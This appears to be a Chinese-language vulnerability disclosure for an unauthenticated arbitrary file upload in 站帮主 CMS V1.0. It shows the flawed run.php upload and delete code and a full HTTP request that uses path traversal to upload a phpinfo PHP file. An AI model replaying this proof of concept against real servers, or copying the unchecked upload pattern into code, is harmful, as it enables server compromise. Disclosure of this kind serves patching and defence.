站帮主CMS任意文件上传漏洞
漏洞描述
站帮主CMS 文件上传模块对文件名无检验,可上传恶意文件控制服务器
漏洞影响
站帮主 V1.0
FOFA
没测试
漏洞复现
这是个开源站,用源码本地搭建的,过程省略,搭建好了以后首先需要登录进后台
存在漏洞的文件为run.php
<?php
if(isset($_GET['run'])){
$run=$_GET['run'];
}
else{
exit('参数有误');
}
//上传
if($run=='file'){
$res=array();
$path=$_GET['path'];//上传的路径
$filename=$_GET['filename'];//1不更改,0更改
is_dir($path) OR mkdir($path, 0777, true);//文件夹不存在创建文件夹
foreach($_FILES as $k=>$arr){
$path=$_GET['path'];//上传的路径
$name=$arr['name'];//文件名
$type=$arr['type'];//文件类型
$tmp_name=$arr['tmp_name'];//临时文件
$size=$arr['size'];//文件大小
/*目标地址*/
if($filename==1){
$path.=$name;
}
else{
$path.=time().$k.hz($name);
}
/*上传*/
if(move_uploaded_file($tmp_name,$path)){
$res[]=$path;
}
}
echo json_encode($res);
}
//删除文件
if($run=='del'){
$url=$_POST['url'];
if(!unlink($url)){
echo 0;
}
else{
echo 1;
}
}
if($run=='guolv'){
$zhi=xiegang($_POST['zhi']);
preg_match_all("/src=\"(.*?)\"/ism",$zhi,$src);
echo implode(';',$src[1]);
}
//文件后缀
function hz($name){
$names=explode('.',$name);
return '.'.$names[count($names)-1];
}
//反斜杠处理
function xiegang($str){
if(get_magic_quotes_gpc()){
return stripslashes($str);//将字符串进行处理
}
else{
return $str;
}
}
?>
UI的功能点是在模板上传处
发送请求包上传文件, up.php对用户权限无校验,前台也可上传
POST /cms/cms/include/up.php?run=file&path=../../../&filename=1 HTTP/1.1
Host:
Content-Length: 214
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR3tyW3BwKatvZeKX
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
------WebKitFormBoundaryR3tyW3BwKatvZeKX
Content-Disposition: form-data; name="0"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryR3tyW3BwKatvZeKX--